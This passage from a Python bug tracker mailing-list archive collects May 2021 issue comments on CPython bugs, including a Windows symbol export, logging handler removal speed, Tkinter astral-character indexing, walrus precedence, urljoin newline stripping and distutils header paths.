this case. I'll double check, though the compromise seems to make sense considering that %99 of the time this use case is with raw strings. > 3. It is worth to merge consequent string constants and skip empty string constants. '/'.join([base, 'data', user_arg]) should produce [base, '/data/', user_arg] instead of [base, '/', 'data', '/', user_arg], and ''.join([base, 'data', user_arg]) should produce [base, 'data', user_arg] instead of [base, '', 'data', '', user_arg]. > I believe that the implementation can be optimized further (etc if a continuous block of elements are a string, then we can load all of them in one go!). And some cases proved that the f-strings might be faster than the join by 1.7-1.8x. I am aware of these possible cases as I stated in the last paragraph, though didn't want to start with them on the PoC. And from what I observe, the speedup goes even further with these. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 23 16:31:08 2021 From: report at bugs.python.org (David Edelsohn) Date: Sun, 23 May 2021 20:31:08 +0000 Subject: [issue40092] Crash in _PyThreadState_DeleteExcept() at fork in the process child In-Reply-To: <1585329415.65.0.534969367772.issue40092@roundup.psfhosted.org> Message-ID: <1621801868.83.0.0234665391914.issue40092@roundup.psfhosted.org> David Edelsohn added the comment: How could release_sentinel() be structured to not call PyThread_release_lock()? This seems to be a situation where _PyThreadState_DeleteExcept() is deleting all thread states. thread__set_sentinel() sets release_sentinel() as its on_delete hook. The thread state is being deleted, release_sentinel() is called and discovers that the lock is still held. if (lock->locked) { PyThread_release_lock(lock->lock_lock); Do you suggest something like _PyThread_at_fork_reinit() and leak the memory? To not release the lock in the thread of the child process? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 23 19:40:00 2021 From: report at bugs.python.org (John Nelson) Date: Sun, 23 May 2021 23:40:00 +0000 Subject: [issue44220] PyStructSequence_UnnamedField unavailable on Windows Message-ID: <1621813200.62.0.269776219006.issue44220@roundup.psfhosted.org> New submission from John Nelson : The symbol "PyStructSequence_UnnnamedField" is not *explicitly* marked for export, causing it to be omitted from python3x.dll on Windows -- and thus unavailable to Windows extension modules. Attempting to use this symbol then fails at link time: test.obj : error LNK2001: unresolved external symbol PyStructSequence_UnnamedField build\lib.win-amd64-3.7\test.cp39-win_amd64.pyd : fatal error LNK1120: 1 unresolved externals The fact that the symbol is missing can also be demonstrated via ctypes: import ctypes from pathlib import Path import sys python_dll = ctypes.CDLL(str(Path(sys.executable).parent / 'python3.dll')) # These don't raise at all python_dll.PyTuple_Type python_dll.PyStructSequence_New # Raises AttributeError python_dll.PyStructSequence_UnnamedField ---------- components: Interpreter Core, Windows messages: 394226 nosy: johnboy2, paul.moore, steve.dower, tim.golden, zach.ware priority: normal severity: normal status: open title: PyStructSequence_UnnamedField unavailable on Windows type: behavior versions: Python 3.7, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 23 20:17:20 2021 From: report at bugs.python.org (Hiroaki Mizuguchi) Date: Mon, 24 May 2021 00:17:20 +0000 Subject: [issue44120] logging.config.fileConfig/dictConfig can not import class In-Reply-To: <1620885602.73.0.397107954312.issue44120@roundup.psfhosted.org> Message-ID: <1621815440.46.0.640968627943.issue44120@roundup.psfhosted.org> Hiroaki Mizuguchi added the comment: > Then bar.logging is ambiguous. Yes, I agree. But this bug is happen new testcase that resolve 'foobar.baz.FooBarFormatter' when 'foo' module has 'import baz' statement or 'baz' variable. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 23 20:18:57 2021 From: report at bugs.python.org (Luiz Antonio Lazoti) Date: Mon, 24 May 2021 00:18:57 +0000 Subject: [issue44221] ImportError: sys.meta_path is None, Python is likely shutting down Message-ID: <1621815537.06.0.915921602571.issue44221@roundup.psfhosted.org> New submission from Luiz Antonio Lazoti : hi, In certain situations I get this error, I believe it is related to evdev, select or inotify in line 715. ImportError: sys.meta_path is None, Python is likely shutting down ---------- components: asyncio files: events.py messages: 394228 nosy: asvetlov, luizoti, yselivanov priority: normal pull_requests: 24917 severity: normal status: open title: ImportError: sys.meta_path is None, Python is likely shutting down type: crash versions: Python 3.8 Added file: https://bugs.python.org/file50059/events.py _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 23 21:12:25 2021 From: report at bugs.python.org (Yonatan Goldschmidt) Date: Mon, 24 May 2021 01:12:25 +0000 Subject: [issue44222] Improving _removeHandlerRef for a very long _handlerList Message-ID: <1621818745.43.0.712595663988.issue44222@roundup.psfhosted.org> New submission from Yonatan Goldschmidt : We have an application which creates 10,000s of logging.Logger & logging.Handler objects. I encountered a major slowdown during GCs which happen to collect dead Handler objects, calling logging._removeHandlerRef() along the way. That function looks like: def _removeHandlerRef(wr): acquire, release, handlers = _acquireLock, _releaseLock, _handlerList if acquire and release and handlers: acquire() try: if wr in handlers: handlers.remove(wr) finally: release() and is called by a weakref, attached to each Handler created in _addHandlerRef(). The slowdown occurs in the "in" operator, and the remove() call. These operations on very long lists are expensive. My suggestion is that, without modifying the observed behavior of this function, it can be changed to perform only one lookup in the list, by simply calling remove() and ignoring the ValueError if it gets raised. Attached is a small script which demonstrates the issue. It creates N1 Handler objects, then deletes the strong reference to the last N2 handler objects, and triggers a GC, measuring the time it takes. Additionally, we can measure its entire execution (since all remaining Handler objects are cleaned up on exit, and eventually _removeHandlerRef() is called for each, and it drastically slows down the interpreter shutdown). Running the demo with N1=30k and N2=2k: root at 8aafe9d1308b:/# python -V Python 3.9.2 root at 8aafe9d1308b:/# time python demo.py 30000 2000 len(logging._handlerList)=30001 len(logging._handlerList)=28001 gc.collect() took 1.552838139992673s real 0m12.626s user 0m12.618s sys 0m0.008s then applying the improving patch... root at 8aafe9d1308b:/# (cd /usr/local/lib/python3.9/ && patch -p2 < /patch ) patching file logging/__init__.py Hunk #1 succeeded at 826 (offset -19 lines). and trying again: root at 8aafe9d1308b:/# time python demo.py 30000 2000 len(logging._handlerList)=30001 len(logging._handlerList)=28001 gc.collect() took 0.8691686679958366s real 0m7.134s user 0m7.130s sys 0m0.004s root at 8aafe9d1308b:/# Almost a 2x speedup. I also tried removing the acquire/release locks (now that the remove operation is atomic...). I'm not sure it maintains the semantics, and it didn't make too much of a positive effect on the run-time anyway, so I didn't continue looking into it. ---------- components: Library (Lib) files: demo.py messages: 394229 nosy: Yonatan Goldschmidt priority: normal severity: normal status: open title: Improving _removeHandlerRef for a very long _handlerList type: performance versions: Python 3.11 Added file: https://bugs.python.org/file50060/demo.py _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 23 21:20:40 2021 From: report at bugs.python.org (Yonatan Goldschmidt) Date: Mon, 24 May 2021 01:20:40 +0000 Subject: [issue44222] Improving _removeHandlerRef for a very long _handlerList In-Reply-To: <1621818745.43.0.712595663988.issue44222@roundup.psfhosted.org> Message-ID: <1621819240.81.0.0952927543063.issue44222@roundup.psfhosted.org> Change by Yonatan Goldschmidt : ---------- keywords: +patch pull_requests: +24918 stage: -> patch review pull_request: https://github.com/python/cpython/pull/26325 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 23 21:31:30 2021 From: report at bugs.python.org (Terry J. Reedy) Date: Mon, 24 May 2021 01:31:30 +0000 Subject: [issue44217] Tkinter/IDLE: literal astral char discombobulates text editing In-Reply-To: <1621784183.18.0.916586906015.issue44217@roundup.psfhosted.org> Message-ID: <1621819890.47.0.924662702584.issue44217@roundup.psfhosted.org> Terry J. Reedy added the comment: This is fundamentally a tk text widget issue. Prior to fall 2019, attempts to insert an astral (non-BMP) chars in tkinter widgets raised a unicode decode exception. Then Serhiy fixed tkinter so that such chars could be displayed, either as the actual chars or as a replacement box for unavailable chars. There were 2 remaining problems: 1. The presence of the literal astral char in an editable widget, especially a Text widget, make editing past the char weird. It can be demonstrated with, for instance, the following. import tkinter as tk r = tk.Tk() t.insert = tk.Text(r); t.pack() t.insert('insert', "a?b'a?b'a?b)\n" We decided that beings able to output such chars to the view-only part of shell more than made up for confusion such as Shreyan experienced. Re-experimenting now, it appears that the behavior is worse in IDLE. In particular, backspace delete does not work (nothing happens). IDLE intercepts in order to invoke its smart backspace routine. I will try to find out why nothing happens. Whatever the result, the behavior should be better documented. The 8.7a3 was released Nov 2019, so I have no idea how soon 8.7 will arrive. Maybe the devs found enough bugs to work on, especially on Mac. And then 8.6.11 was needed to have tcl/tk work on the new Apple hardware and OS version. 2. On some Linux systems with some fonts with some XWindows, attempts to display some colored chars (such as particular emoji), in color, causes an XWindows error ('too complex'). This is a Linux-Xwindows-font bug. ---------- nosy: +taleinat title: [IDLE] Weird behaviour in IDLE when printing non-BMP unicode characters -> Tkinter/IDLE: literal astral char discombobulates text editing _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 23 21:36:28 2021 From: report at bugs.python.org (Raymond Hettinger) Date: Mon, 24 May 2021 01:36:28 +0000 Subject: [issue44154] Optimize Fraction pickling In-Reply-To: <1621223914.12.0.379949005457.issue44154@roundup.psfhosted.org> Message-ID: <1621820188.87.0.0702696837032.issue44154@roundup.psfhosted.org> Raymond Hettinger added the comment: > Let me know if it's worth openning an issue with above improvement I don't think so. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 24 00:51:27 2021 From: report at bugs.python.org (Tal Einat) Date: Mon, 24 May 2021 04:51:27 +0000 Subject: [issue44217] Tkinter/IDLE: literal astral char discombobulates text editing In-Reply-To: <1621784183.18.0.916586906015.issue44217@roundup.psfhosted.org> Message-ID: <1621831887.45.0.571806655012.issue44217@roundup.psfhosted.org> Tal Einat added the comment: This is at least partly a tcl/tk issue. Using Terry's last example, the Text widget reports that the length of the line is 14 (t.index('1.end') -> '1.14'), despite it only including 11 characters. It appears that each emoji character adds an extra character. Minimal reproducer: >>> t.delete('1.0', 'end') >>> t.insert('1.0', 'a') >>> t.index('1.end') '1.1' >>> t.delete('1.0', 'end') >>> t.insert('1.0', '?') >>> t.index('1.end') '1.2' The same happens when using tcl/tk directly, so it's not a tkinter issue: $ wish % tk::text .t -width 40 -height 5 -wrap none -yscrollcommand ".ys set" -xscrollcommand ".xs set" .t % ttk::scrollbar .ys -orient vertical -command ".t yview" .ys % ttk::scrollbar .xs -orient horizontal -command ".t xview".t extra characters after close-quote % ttk::scrollbar .xs -orient horizontal -command ".t xview" .xs % .t insert end "a" % grid .t -column 0 -row 0 -sticky nwes % grid .t -column 0 -row 0 -sticky nwes % grid .ys -column 1 -row 0 -sticky ns % grid columnconfigure . 0 -weight 1 % grid rowconfigure . 0 -weight 1 % .t delete 1.0 end % .t insert end "?" % .t index 1.end 1.2 % .t get 1.0 ? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 24 03:06:18 2021 From: report at bugs.python.org (Inada Naoki) Date: Mon, 24 May 2021 07:06:18 +0000 Subject: [issue44214] PyArg_Parse* for vectorcall? In-Reply-To: <1621764892.64.0.828165785402.issue44214@roundup.psfhosted.org> Message-ID: <1621839978.81.0.214797915244.issue44214@roundup.psfhosted.org> Change by Inada Naoki : ---------- nosy: +methane _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 24 03:11:46 2021 From: report at bugs.python.org (=?utf-8?b?0JzQsNGA0Log0JrQvtGA0LXQvdCx0LXRgNCz?=) Date: Mon, 24 May 2021 07:11:46 +0000 Subject: [issue44223] := in comprehensions does not work Message-ID: <1621840306.63.0.617436404209.issue44223@roundup.psfhosted.org> New submission from ???? ????????? : [ xxx for item in collection if xxx := mutator(item) is not None ] ---------- components: Interpreter Core, Parser messages: 394233 nosy: lys.nikolaou, pablogsal, socketpair priority: normal severity: normal status: open title: := in comprehensions does not work versions: Python 3.10, Python 3.11, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 24 03:26:10 2021 From: report at bugs.python.org (Serhiy Storchaka) Date: Mon, 24 May 2021 07:26:10 +0000 Subject: [issue44223] := in comprehensions does not work In-Reply-To: <1621840306.63.0.617436404209.issue44223@roundup.psfhosted.org> Message-ID: <1621841170.53.0.864157709685.issue44223@roundup.psfhosted.org> Serhiy Storchaka added the comment: "Does not work" is not informative. What did you get and what did you expect to get? Please proved a complete reproducible example. ---------- nosy: +serhiy.storchaka _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 24 03:27:35 2021 From: report at bugs.python.org (Dennis Sweeney) Date: Mon, 24 May 2021 07:27:35 +0000 Subject: [issue44223] := in comprehensions does not work In-Reply-To: <1621840306.63.0.617436404209.issue44223@roundup.psfhosted.org> Message-ID: <1621841255.96.0.728631510349.issue44223@roundup.psfhosted.org> Dennis Sweeney added the comment: The parser rejects this ambiguity and requires parentheses: [ xxx for item in collection if (xxx := mutator(item)) is not None ] Example ambiguity: >>> [x for item in "abcdefabc" if x := item.upper() not in "ABC"] SyntaxError: invalid syntax >>> [x for item in "abcdefabc" if (x := item.upper()) not in "ABC"] ['D', 'E', 'F'] >>> [x for item in "abcdefabc" if (x := item.upper() not in "ABC")] [True, True, True] >>> ---------- nosy: +Dennis Sweeney _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 24 03:40:45 2021 From: report at bugs.python.org (Serhiy Storchaka) Date: Mon, 24 May 2021 07:40:45 +0000 Subject: [issue44217] Tkinter/IDLE: literal astral char discombobulates text editing In-Reply-To: <1621784183.18.0.916586906015.issue44217@roundup.psfhosted.org> Message-ID: <1621842045.67.0.0575935152394.issue44217@roundup.psfhosted.org> Serhiy Storchaka added the comment: It is partially an IDLE issue. The code expects that indices in Python string correspond indices in Tcl string, but this is not true in case of astral characters which are encoded as 2 (or maybe even 4) characters in Tcl. To fix it we need to translate between Python and Tcl indices every time when we pass indices from one language to other. It is virtually impossible to do in general (in Tkinter code) because there are tons of methods which return or accept indices. It can be fixed in IDLE specifically, but it is still a lot of work. I'll try to fix at least some code (backspace and highlighting). And every Tkinter application which works with string indices and lengths and can support astral characters should fix it separately. It can help if helper function for conversion between indices in IDLE be exposed as public API in Tkinter. On other hand, the problem will gone in Tcl/Tk 8.7 or 9.0. So we can just wait several years. ---------- nosy: +serhiy.storchaka _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 24 03:46:22 2021 From: report at bugs.python.org (Serhiy Storchaka) Date: Mon, 24 May 2021 07:46:22 +0000 Subject: [issue44223] := in comprehensions does not work In-Reply-To: <1621840306.63.0.617436404209.issue44223@roundup.psfhosted.org> Message-ID: <1621842382.78.0.232297016426.issue44223@roundup.psfhosted.org> Serhiy Storchaka added the comment: Well, it works, but the priority of := is lower than priority of other operators. (x := item.upper() not in "ABC") is interpreted as (x := (item.upper() not in "ABC")). ---------- resolution: -> not a bug stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 24 03:49:23 2021 From: report at bugs.python.org (Erlend E. Aasland) Date: Mon, 24 May 2021 07:49:23 +0000 Subject: [issue44217] Tkinter/IDLE: literal astral char discombobulates text editing In-Reply-To: <1621784183.18.0.916586906015.issue44217@roundup.psfhosted.org> Message-ID: <1621842563.82.0.57055734812.issue44217@roundup.psfhosted.org> Erlend E. Aasland added the comment: STM like the most reasonable thing to do is to enhance the docs, as Terry suggested. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 24 03:57:18 2021 From: report at bugs.python.org (Ned Deily) Date: Mon, 24 May 2021 07:57:18 +0000 Subject: [issue41282] Deprecate and remove distutils In-Reply-To: <1594542625.3.0.789939298104.issue41282@roundup.psfhosted.org> Message-ID: <1621843038.59.0.620861807136.issue41282@roundup.psfhosted.org> Change by Ned Deily : ---------- pull_requests: +24919 pull_request: https://github.com/python/cpython/pull/26327 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 24 04:01:23 2021 From: report at bugs.python.org (Shreyan Avigyan) Date: Mon, 24 May 2021 08:01:23 +0000 Subject: [issue44217] Tkinter/IDLE: literal astral char discombobulates text editing In-Reply-To: <1621784183.18.0.916586906015.issue44217@roundup.psfhosted.org> Message-ID: <1621843283.67.0.641056878479.issue44217@roundup.psfhosted.org> Shreyan Avigyan added the comment: The first and third behavior is only occurring for IDLE. I believe the third one is a cause of the first one. The second behavior of dancing is a Tcl/Tk problem. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 24 04:11:43 2021 From: report at bugs.python.org (David Chen) Date: Mon, 24 May 2021 08:11:43 +0000 Subject: [issue44155] Race condition when using multiprocessing BaseManager and Pool in Python3 In-Reply-To: <1621241427.13.0.989266632434.issue44155@roundup.psfhosted.org> Message-ID: <1621843903.65.0.777686140442.issue44155@roundup.psfhosted.org> David Chen added the comment: After some investigation, i almost finally identified the root cause - it was caused by the following line in `Server` class in `manager.py` file: ``` self.listener = Listener(address=address, backlog=16) ``` i'm not sure where the magic number `16` came from, but it turned out it was not big enough for some powerful CPU(48 cores in my case), where the socket server starts refusing to accepting new connections if there are more than `16` unaccepted connections, i think this is why the code stuck at `Client -> answer_challenge` where attempting to create new connection to the server. After i change the number to `32`, this issue is gone. IMO, a magic number here is not very suitable, maybe we could make this number configurable or use `cpu_count` to set it to a better number based on the CPU count. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 24 04:25:46 2021 From: report at bugs.python.org (Ned Deily) Date: Mon, 24 May 2021 08:25:46 +0000 Subject: [issue41282] Deprecate and remove distutils In-Reply-To: <1594542625.3.0.789939298104.issue41282@roundup.psfhosted.org> Message-ID: <1621844746.87.0.846056215719.issue41282@roundup.psfhosted.org> Ned Deily added the comment: It looks like 341e8a939aca6e9f59ffb0e6daee5888933694ed (GH-24549) incorrectly deleted an important check in sysconfig that is needed for building the cpython standard library on unix-y systems. The chain of events is somewhat complicated but the problem can be easily seen by carefully examining the output of a simple build and install, like: ./configure --prefix=/tmp/testbuild make make install As of 3.10.0b1, this results in the standard library module being built twice, once by the make step and once by the make install step. GH-26237 attempts to fix the problem with minimal changes to the approach taken in GH-24549 to consolidate Lib/sysconfig.py and Lib/distutils/sysconfig.py. Frankly, I am not confident it is the best approach so it should be carefully reviewed. There probably should also be a test added at some point for this case but I will let someone else deal with that and a test should not hold up 3.10.0b2. But I think the build failure is serious enough that b2 should be held for a fix. ---------- priority: normal -> release blocker versions: +Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 24 04:48:24 2021 From: report at bugs.python.org (Ned Deily) Date: Mon, 24 May 2021 08:48:24 +0000 Subject: [issue41282] Deprecate and remove distutils In-Reply-To: <1594542625.3.0.789939298104.issue41282@roundup.psfhosted.org> Message-ID: <1621846104.13.0.518626442861.issue41282@roundup.psfhosted.org> Ned Deily added the comment: Er, make that "GH-26327 attempts to fix the problem ... " but I see from the CI that it causes test_distutils to fail in the simpler case of running the test from the build directory (rather than from an installed location which does pass). I have run out of time right now but I will get back to it later today unless someone gets to it first. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 24 06:05:10 2021 From: report at bugs.python.org (rushter) Date: Mon, 24 May 2021 10:05:10 +0000 Subject: [issue44224] urllib.parse.urljoin behaves differently in Python 3.9.5 Message-ID: <1621850710.44.0.0440015163726.issue44224@roundup.psfhosted.org> New submission from rushter : Since Python 3.9.5, `urllib.parse.urljoin` now strips newlines from the destination URL. I think this should be at least mentioned in the `/Misc/NEWS.d`. Python 3.8.10: >>> urllib.parse.urljoin('http://a.ru', '\nsome/location') 'http://a.ru/\nsome/location' Python 3.9.5: >>> urllib.parse.urljoin('http://a.ru', '\nsome/location') 'http://a.ru/some/location' We had an extra check for newlines in our Python codebase and our test started to fail. ---------- messages: 394243 nosy: rushter priority: normal severity: normal status: open title: urllib.parse.urljoin behaves differently in Python 3.9.5 type: behavior versions: Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 24 06:13:53 2021 From: report at bugs.python.org (rushter) Date: Mon, 24 May 2021 10:13:53 +0000 Subject: [issue44224] urllib.parse.urljoin behaves differently in Python 3.9.5 In-Reply-To: <1621850710.44.0.0440015163726.issue44224@roundup.psfhosted.org> Message-ID: <1621851233.59.0.726431284669.issue44224@roundup.psfhosted.org> rushter added the comment: Sorry, I found the commit that mentions this https://github.com/python/cpython/commit/0593ae84af9e0e8332644e7ed13d7fd8306c4e1a It's not live on Python.org though. ---------- stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 24 06:32:27 2021 From: report at bugs.python.org (Vinay Sajip) Date: Mon, 24 May 2021 10:32:27 +0000 Subject: [issue44120] logging.config.fileConfig/dictConfig can not import class In-Reply-To: <1620885602.73.0.397107954312.issue44120@roundup.psfhosted.org> Message-ID: <1621852347.1.0.678381152678.issue44120@roundup.psfhosted.org> Vinay Sajip added the comment: You can't expect things to work if you introduce ambiguities such as a attribute `bar` in module `foo` as well as a `foo.bar` module. If there were a clear delineation between where a module stops and where a set of attributes starts, e.g. package.subpackage:attr1.attr2.attr3, we could just import package.subpackage and be done. But for historical reasons, that isn't the case. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 24 06:46:42 2021 From: report at bugs.python.org (Vinay Sajip) Date: Mon, 24 May 2021 10:46:42 +0000 Subject: [issue44222] Improving _removeHandlerRef for a very long _handlerList In-Reply-To: <1621818745.43.0.712595663988.issue44222@roundup.psfhosted.org> Message-ID: <1621853202.47.0.416083791338.issue44222@roundup.psfhosted.org> Vinay Sajip added the comment: Seems a bit of a pathological case - out of interest, why do you need to create tens of thousands of loggers and handlers? Each logger is supposed to represent an area of the application. If you want to track e.g. client IP requests or similar, there are better ways. Ditto, each handler is supposed to represent a different audience for logs. Does your application have tens of thousands of distinct modules and/or audiences for logs? ---------- nosy: +vinay.sajip _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 24 07:07:36 2021 From: report at bugs.python.org (Roundup Robot) Date: Mon, 24 May 2021 11:07:36 +0000 Subject: [issue44170] ShareableList cannot safely handle multibyte utf-8 characters In-Reply-To: <1621336329.38.0.49764469303.issue44170@roundup.psfhosted.org> Message-ID: <1621854456.26.0.773802824308.issue44170@roundup.psfhosted.org> Change by Roundup Robot : ---------- keywords: +patch nosy: +python-dev nosy_count: 1.0 -> 2.0 pull_requests: +24920 stage: -> patch review pull_request: https://github.com/python/cpython/pull/26328 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 24 07:49:42 2021 From: report at bugs.python.org (Tal Einat) Date: Mon, 24 May 2021 11:49:42 +0000 Subject: [issue44217] Tkinter/IDLE: literal astral char discombobulates text editing In-Reply-To: <1621784183.18.0.916586906015.issue44217@roundup.psfhosted.org> Message-ID: <1621856982.79.0.610081034982.issue44217@roundup.psfhosted.org> Tal Einat added the comment: > It is partially an IDLE issue. The code expects that indices in Python string correspond indices in Tcl string, but this is not true in case of astral characters which are encoded as 2 (or maybe even 4) characters in Tcl. It's not just that - Tk's Text widget is the indexing in the line itself wrong. In the string from Terry's example, which has 11 characters in a line including three smiley emojis, the can be fetch using t.get('1.1'), t.get('1.2') etc. through t.get('1.11'). t.get('1.12') returns '\n' since it is at or after the end of the line. So, as far as indexing is concerned, each of those emoji characters is treated as a single character. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 24 08:13:08 2021 From: report at bugs.python.org (Petr Viktorin) Date: Mon, 24 May 2021 12:13:08 +0000 Subject: [issue41282] Deprecate and remove distutils In-Reply-To: <1594542625.3.0.789939298104.issue41282@roundup.psfhosted.org> Message-ID: <1621858388.49.0.0511863610639.issue41282@roundup.psfhosted.org> Petr Viktorin added the comment: When building Python, we need two distinct "include" directories: - source .h files - install target for .h files Note that this doesn't matter except when building Python from source. Historically: - source .h files were in the sysconfig scheme under 'include' - the install directory was in the distutils.command.install scheme under 'headers' GH-24549 merged these, because sysconfig is now the single source of truth and distutils is derived from it. It seems to me that we need to bring 'headers' back -- at least when building Python. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 24 08:21:29 2021 From: report at bugs.python.org (Petr Viktorin) Date: Mon, 24 May 2021 12:21:29 +0000 Subject: [issue41282] Deprecate and remove distutils In-Reply-To: <1594542625.3.0.789939298104.issue41282@roundup.psfhosted.org> Message-ID: <1621858889.2.0.532455844276.issue41282@roundup.psfhosted.org> Change by Petr Viktorin : ---------- pull_requests: +24921 pull_request: https://github.com/python/cpython/pull/26329 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 24 09:02:10 2021 From: report at bugs.python.org (Denis S. Otkidach) Date: Mon, 24 May 2021 13:02:10 +0000 Subject: [issue37658] In some cases asyncio.wait_for can lead to socket leak. In-Reply-To: <1563884177.4.0.19779936427.issue37658@roundup.psfhosted.org> Message-ID: <1621861330.56.0.982034566044.issue37658@roundup.psfhosted.org> Denis S. Otkidach added the comment: Re: msg393586 > See my comment in the PR for a suggestion about an alternative structure for wait_for, which may avoid this gap and hence prevent the leak (but I have not tested it!) Unfortunately this didn't close the gap, so the leak persisted. I did some research on the source of the error. There are circular references between instances of _SelectorSocketTransport and _SSLProtocolTransport (see attached image), therefore these objects are destroyed by garbage collector. The order might be arbitrary. When _SelectorSocketTransport is destroyed after _SSLProtocolTransport everything is ok, but with the opposite order we get the error printed. Here is description on how to reproduce this: https://github.com/ods/bpo-37658#circular-references-when-using-ssltls ---------- Added file: https://bugs.python.org/file50061/ssl_circular_refs.png _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 24 09:41:13 2021 From: report at bugs.python.org (Emmanuel Arias) Date: Mon, 24 May 2021 13:41:13 +0000 Subject: [issue28806] Improve the netrc library In-Reply-To: <1480158810.39.0.736994382472.issue28806@psf.upfronthosting.co.za> Message-ID: <1621863673.83.0.968430224928.issue28806@roundup.psfhosted.org> Change by Emmanuel Arias : ---------- pull_requests: +24922 pull_request: https://github.com/python/cpython/pull/26330 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 24 09:55:00 2021 From: report at bugs.python.org (Erik Carstensen) Date: Mon, 24 May 2021 13:55:00 +0000 Subject: [issue44225] stop() on a stopped loop inhibits the next run_forever Message-ID: <1621864500.68.0.698974665146.issue44225@roundup.psfhosted.org> New submission from Erik Carstensen : If you call stop() on an already stopped event loop, then the next call to run_forever will terminate after one loop iteration. I would expect the stop to either be a nop, or to be invalid in this state (and raise an exception). Example: import asyncio async def coro(x): print(x) if x < 10: asyncio.create_task(coro(x+1)) loop = asyncio.get_event_loop() loop.create_task(coro(0)) loop.stop() loop.run_forever() ---------- components: asyncio messages: 394250 nosy: asvetlov, mandolaerik, yselivanov priority: normal severity: normal status: open title: stop() on a stopped loop inhibits the next run_forever type: behavior versions: Python 3.10, Python 3.11, Python 3.7, Python 3.8, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 24 10:15:58 2021 From: report at bugs.python.org (Fredrik Bengtsson) Date: Mon, 24 May 2021 14:15:58 +0000 Subject: [issue13305] datetime.strftime("%Y") not consistent for years < 1000 In-Reply-To: <1320091957.61.0.759691422668.issue13305@psf.upfronthosting.co.za> Message-ID: <1621865758.9.0.470225773771.issue13305@roundup.psfhosted.org> Fredrik Bengtsson added the comment: This also causes an issue when using stftime and strptime together on Linux (Ubuntu 20.04.1 LTS). When encoding a datetime using strftime and decoding with strptime using the same pattern an error is raised if year < 1000. Example: >>> pattern = "%Y-%m-%d" >>> datetime.strptime( ... datetime(1, 1, 1).strftime(pattern), ... pattern ... ) Traceback (most recent call last): File "", line 1, in File "/usr/lib/python3.8/_strptime.py", line 568, in _strptime_datetime tt, fraction, gmtoff_fraction = _strptime(data_string, format) File "/usr/lib/python3.8/_strptime.py", line 349, in _strptime raise ValueError("time data %r does not match format %r" % ValueError: time data '1-01-01' does not match format '%Y-%m-%d' ---------- nosy: +Fronkan _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 24 10:16:25 2021 From: report at bugs.python.org (Ken Jin) Date: Mon, 24 May 2021 14:16:25 +0000 Subject: [issue44220] PyStructSequence_UnnamedField unavailable on Windows In-Reply-To: <1621813200.62.0.269776219006.issue44220@roundup.psfhosted.org> Message-ID: <1621865785.09.0.811384865102.issue44220@roundup.psfhosted.org> Change by Ken Jin : ---------- keywords: +patch nosy: +kj nosy_count: 5.0 -> 6.0 pull_requests: +24923 stage: -> patch review pull_request: https://github.com/python/cpython/pull/26331 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 24 10:27:35 2021 From: report at bugs.python.org (Jun) Date: Mon, 24 May 2021 14:27:35 +0000 Subject: [issue44155] Race condition when using multiprocessing BaseManager and Pool in Python3 In-Reply-To: <1621241427.13.0.989266632434.issue44155@roundup.psfhosted.org> Message-ID: <1621866455.83.0.0628530761361.issue44155@roundup.psfhosted.org> Change by Jun : ---------- keywords: +patch nosy: +junnplus nosy_count: 1.0 -> 2.0 pull_requests: +24924 stage: -> patch review pull_request: https://github.com/python/cpython/pull/26332 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 24 10:39:54 2021 From: report at bugs.python.org (Mark Shannon) Date: Mon, 24 May 2021 14:39:54 +0000 Subject: [issue44206] Add a version number to dict keys. In-Reply-To: <1621611493.74.0.261277793426.issue44206@roundup.psfhosted.org> Message-ID: <1621867194.05.0.198927732637.issue44206@roundup.psfhosted.org> Mark Shannon added the comment: The version is on the dict keys. It changes if the dict keys object changes in a meaningful way. So, no it doesn't change if a value is changed. Nor would it change if the keys were shared and a new key-value pair is added to a dict, but that key was already in the shared keys. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 24 10:45:32 2021 From: report at bugs.python.org (Mark Shannon) Date: Mon, 24 May 2021 14:45:32 +0000 Subject: [issue44206] Add a version number to dict keys. In-Reply-To: <1621611493.74.0.261277793426.issue44206@roundup.psfhosted.org> Message-ID: <1621867532.79.0.474851530763.issue44206@roundup.psfhosted.org> Change by Mark Shannon : ---------- keywords: +patch pull_requests: +24925 stage: needs patch -> patch review pull_request: https://github.com/python/cpython/pull/26333 _______________________________________ 